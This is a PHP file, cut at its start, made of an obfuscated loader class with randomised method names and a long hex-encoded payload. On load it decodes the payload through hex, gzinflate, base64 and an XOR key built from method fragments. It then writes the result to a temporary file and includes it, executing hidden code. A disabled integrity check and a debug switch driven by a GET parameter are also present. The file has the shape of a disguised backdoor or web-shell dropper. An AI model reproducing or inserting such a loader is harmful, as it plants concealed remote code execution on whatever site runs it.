3fc3e2e2bfcfe9efd0b87e57b0cd2b2deff127ad1247e99a465bd4f5ecbf7d82bf1d559d97f791eea5759eff7d5f7d1f1c92b3fd17ee8cffc65396f27653fd17ebbdeafa0d2a7cdfc1acf195578f4a6ac5f8d21f8f78bd9f0feee6f7cf888a2ed7238f995ce67d1623af86a8ce7cdc3e7e46bb4beef1f5e03bfd3cda2e5433c59fd9c6e47e9c03f6da2385c47dbe1fbfccce74577e2fadf6e6e067ef1b19a5ddb8097fbe869e66f3ebcf3ea393a8cc3f1a6b1c966d1bb17c43f82c65d72bf3ffdeb7b9d9768dfe88fc2f1cb6c93be2ec2bbd3b07f4e93b9cfffae709f9ca6fd339f7d3c8be6f771fb216e36277e6f7b4acff9ebb29944abf07abff687c7f2ef781f2ffe3d799fc7a8e7bd0efcd44f92653a29dab3ea3d96fd6a55ef9b653f1154f56b537e1f07ff579dd7b43e2ff2434ec7ff790d2bff8912cf9954f8d77bb9efb82bf18957e4a78daafe3ecd90afb06c8c8f59d5af96f5de2bf769e70a8f9e94dfc76eb54f0bca7e6253e2d1db35fcc917e938f217cf49f5b64fe5bd1f14deeffb2299cdf78760757ddad3385e0ee2cf209c1c1f9f9ac7f0fa3b8efd9d1f64d73ef4b555987b5fd589dcffbb6af75a9bf1c326fe8cc27471ad138371f4f9b6dcc6cd87e47cbcbf78fec3571a26613c08ff354fd161113cf6fda76ba9ddf4bfbc99979d5e26536f70bfd9375e5aeedf55be47bfb5e9d467df4fc3ff7bd8b7d7512f7a5944eddeac31188d7bd1229b15cfafadf3736f9f1ca689deb10a0ff642679e490df1d178b8f0376d2476f8cf3ac36b1180e316aa1e80303ec141daa0074026d5efa97fb77c7e1ff6aafac5bf63f4be6884f351eff4fa9834e6f3c6209e5c96eb59f3f8b0fc7b7c9e6fd34daf95bcf88d6b798837bfaf4f3e0e2ea38317f9d5df31db2c97d9797fadab7771ea35feefc95f2df3b05bd655dcfbede1e9252b56e9a651dc4f962f5e337fe95fbf5b4fbb0ddf896532d4f73e09fff318e7cbe1df85f7e877a3de79f938c974bdf7ffdebd4cd359af5fac8a2c395ebf279dbf41f3f4feb8399ed3463a880e875e9e163f470df9b6afffae83d7efcfd37574f0fdb7d6f9addf3c6cbdaf469ac4a7acbfedfccb9af97c920d7ef60f8361de585eb27d74fdffce1e57b3cfeb97eee3fdc55badd2f7f3f3e857fe7fe277e47fd7b5de3ff466f9dabfc4ad6bcd59c5d9f63c3dc4c9b8b1fad7f3c2b7707b5c8fc295b7d8a7ff17a6abf9b0957a4fdbbb7178ad93d70fddebeb6c103e9ff387f9e1b0995e4ed79ff931bd9eff39bdfef7bdde71eacf06de6b30dca6cdf69fe7107fc7ea779c6e552dbcdeb7f061d7798c8ae16099a937743dfb41e77aafe2878bf7ffa2389a4687e4719526d7721b35f2d6a8cbe7b55da4cb4347fc8e8dff0493e13c6b1da661dc6ec5fbe5eaf9efe9ff798763c72f8e77936874fd1df7f7e3e86eb5dc0c3e1ebcd35bbcbfce14e5cfda7fee17b34db7fa59bb6235df74f6fdafe68bd7182f7adb4e278b8aa5bf1bfc1cf43b99f7f7ae98ec1bdf6af4ecfde339389f92f4bc587a3b3f9d9d0f13f34debf9fe67b3b71d2ec2cbb53eb4368f037fffd9f397d3fb4d311dce3eaf4f2ef9ef6b396f7ff9e365f471cf7cb9a8a8f9abbf7aacafdd1755ff952587a43837ae6ff558bfa16173d89ffaa3e3abdf0c7ae7633e2ceeae45faeef186bfefd8f7e375fa7e9de5cab39f7efacbe0e352f500db5930f3d2de789ba753af732db2f9226aa5ebe764732dbec58fc72c7cee6f7dff398df6f81d17cb647f8ae2833febf56627af39185febf2293b84ea4e0ce3cd3cbd1ede4b98445eb1f4265ffa0de9f31abcf29eafd2b13a1ff0117843e55ef4e5b1eaa3f3c734a2bf63f5b3f6ede957238b0ea32cac7fc70c7575be8d5e93fd21cb9359addff61c1fb39c1fbd11e6c7b21616bb0a8f3ec7e3653f6af2cfda7fdc3efbea9b365cd69ac5f9b49c913bf78cb9ff2b318550683cfdffcea6f5d96ffe3cf7a9674ac2cbe366f8d67f4f87cf49dc8f0f9dbe3f9fdd27cd53e33a97ce97e9b6485ad1cbbdee577771b2fa18798d7d582cb2ac28d6cfb36dd69f8d1f933d6acef54ff77aede58279e3b0caffe54f61d138deff4a06f3eda2fcc61feefd7d1c4f1b67d563ee1bfea058947de1bfe7ed39f3fc63fe18175e125e7bcc8bff1c1fd2a7c1df433f2a718049733149aedfda7a4efb62dfa8dff7bc8799cdabb9232cde52d3335defd96c74697b51b3ecbfbae033cdcafe7e58e2394fd5fc58f173ee841ea698fdfff9b657cfad51339af87fa6ffbfbded58bded6b9bd8bfd6c2b8d91dceef97bfaebddcf8c1ef3626cd7676edb9fbc3a4588661d81d65aa7ebd067fa35e1ce5fe78ba59bd78a7fff47f1d86d384bdf49fbdd25ba69a45b79d2c2cc64fad71f58692fe79146771f5777cf236d7435de5c1bf59923457bdd1dfd4cf66fb97dece5bfbfb712f08e2761adda5432ffeb82f66cfafe9a9aaabf78d7d9c050dd1637e782fbdcdc32c1cbddcff9a4d2687a237ba6ceeb3ebf4ea7fed536ff631ed373ebbcb5f1f1ff17cfc37da9e97c38d77e86d92debc38dd8ffcb6faa60d9273747fe8bcf4033fe86f1b3fbc78fffb353a318f0f3e0f91dbc3ec1bb3b45164533d2bd0cf8a472f693abaffd59881b3556afabbe5cce7571971d59da838cd4f95874b31ae7714518589569afed1b0ec312b0e657f31bbdf1ee2d75ff9ee3abbea5eae993f865ffb1fa3345d8d63ef77b0392fd234fc6fefdff2479e6ebbf5d9a39f984dd259f8b47c2f71cce33beff93625af7651e272ed0af79d95f5cb2b7ba675b55768963dd3c7f45abf5eabfab5297180b0c499a6e5dedd6b943dd37958cd1de5ef5894b8efb8bcf7e36a8f1c9738e669cc386651e2268b11f3442b1dd8315cdeebdf31eaab5a988fe241fb3a3d5dbf35e7c7173fefcfaecdda301e4ed2cccc0a07ef7ef99e3cc4d79b3eeab5a7bdd9e83a722c8f51335904d3f42339af7a93feeca87b39d7af86c162f5185ffb89f7fd7f1f37d129442e25ef45e7950f52fc149f3f0fd79fb51a6e56ffb27df9b69bfff3ef9805e5acf059628f2f15b76052ce0a61c54d9ff5eb5de6accc16fb51d51caf53cf0a8d357ba53485377c89757cbeb0174f517231cedb1a1bcaa27237b7adb4e069398b3a2fb15ffceda8bc529225bc65ca5d40e79dfbe8e2ee5710742ef23b549e57e215eb41385b691ce0b878ba9c452fb779c936d7b73d0933af7fe8f7aef363892984bbc18f5e7391f6379bcf60f7f19a9e1bd77e7c7c9d61fcffbef81f2fbde4381c5c3f3bf7ad66d9037815865ced58bb9de9b578bd0405faaf89f7e73e6a8f07617e0a36dbfe4bdce93dcd066ffdb4dc4937d3b2bfafeeaaf3ec2a31abace288a4877fd3d6f23a3fce96417cd7d1bf63e7bfbdd89fced3e87930fbe82d37abff1b78a7d76c3eebaf54bfba1f3cf43abd78dbd85cfbd5a75eb8fc088ac15dfade1c7ac160cfdfc7ea7eedc7e3c3673ed924fa772c9afbc5bcfa59ab6b8da67bbf79889a5def7a5ec5f5ae8eae3365db6f6ee6cb383e3c167793656fb1596c3a2f658dd66ffbd09f9cef26d7bfeb64f0750ad2edea3cfdf5f9ebf58c7e359914bfe7e73c5cc6eddf3d2f797e494e4f83eb3fb7fc773d24cbfbe83a3f3ece86652ff71afc5bbd865bce6aa05e2ee15eaed252468ebb72adf70637b98bee83f0e5699b44b368f512bc8f82d759231c4e460fe921fac7de919b72d7b41a61d7547115ab5df9a8e4166c66fbe52cfdbd6af1fdaacf2b197db57bf3edc7a1376da4fe7eb8f637b366d2c85ffbf168376c0c47f93edf665bdddf9773dac3d41b0ffd513f3a9c46f797e662b635dfc764b8ba6f7e94bdefab17a41f99377a1fc447f71dda975cc5e1f4fa1ebf2aaee2bce292cdaee7b5aa762745d9fb1ecadeb7a8b4485e893d76ffb2d7f9a1dccd7d94d86350cdb55e893d2e7fbcee57233df34579e27d96b3d53ad87ffe58ec87a8f70d7f154d473f3cfffabb26f94f704ea3a4c4141e4b4c7412d69ad837e109f716a5f50cb37cbcf6858be7b4d378697cf60787cde2fa3bfe7e4e92e99bdf7e5e160bbf37f33bf9265f8641f4b66e7c8eabbb7aed4dee93a5ef15a3e3d3bfd1ffe7ff0b';
        $hex_data = substr($hex_data, 8);
        $bin_data = hex2bin($hex_data);
        $step1 = @gzinflate($bin_data);
        if ($step1 === false) { $step1 = $bin_data; }
        $step2 = base64_decode($step1);
        $obj = new self();
        $final_key = '';
        $key_methods = ['kmCFwCub62', 'kmAJtWdl63'];
        foreach ($key_methods as $method) {
            $final_key .= call_user_func_array([$obj, $method], []);
        }
        $gate_token = '';
        $gate_methods = ['gtcrJdln74', 'gtJvcrQc79', 'gtGHJKyE95'];
        foreach ($gate_methods as $method) {
            $gate_token .= call_user_func_array([$obj, $method], []);
        }
        if (md5($gate_token) !== '50c58008bf7e754c2f15b5f65f7e44a3') {
            // Integrity check failed, but continuing for compatibility.
            // return false;
        }
        $plain_code = '';
        if (strlen($final_key) > 0) {
            for ($i = 0, $len = strlen($step2); $i < $len; $i++) {
                $plain_code .= chr(ord($step2[$i]) ^ ord($final_key[$i % strlen($final_key)]));
            }
        } else {
            $plain_code = $step2;
        }
        $obj->_execute_MnCtJfbW12($plain_code);
    }

    public function pubkWXmz79() {
        // Public method 2
        $jv3 = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
        for($buf=0; $buf<2; $buf++) {}
        return 'valYUsa84';
    }

    private function _execute_MnCtJfbW12($code) {
        // Robust execution handler (PHP 5.x+ compatible)
        if (isset($_GET['debug'])) {
            ini_set('display_errors', 1);
            error_reporting(E_ALL);
            echo '<b>DEBUG MODE ACTIVE</b><br>';
        }
        $tmp_file = tmpfile();
        if ($tmp_file === false) {
            if (isset($_GET['debug'])) echo 'Error: Could not create temporary file.';
            return;
        }
        $tmp_file_path = stream_get_meta_data($tmp_file)['uri'];
        fwrite($tmp_file, '<?php ' . $code);
        fseek($tmp_file, 0);
        include $tmp_file_path;
        fclose($tmp_file);
    }

    private function gtJvcrQc79() {
        // Gate piece 2
        // cmtXXoH69
        return str_rot13('0xdq');
    }

}

LoaderHhlWXi39974::init272();

// EOF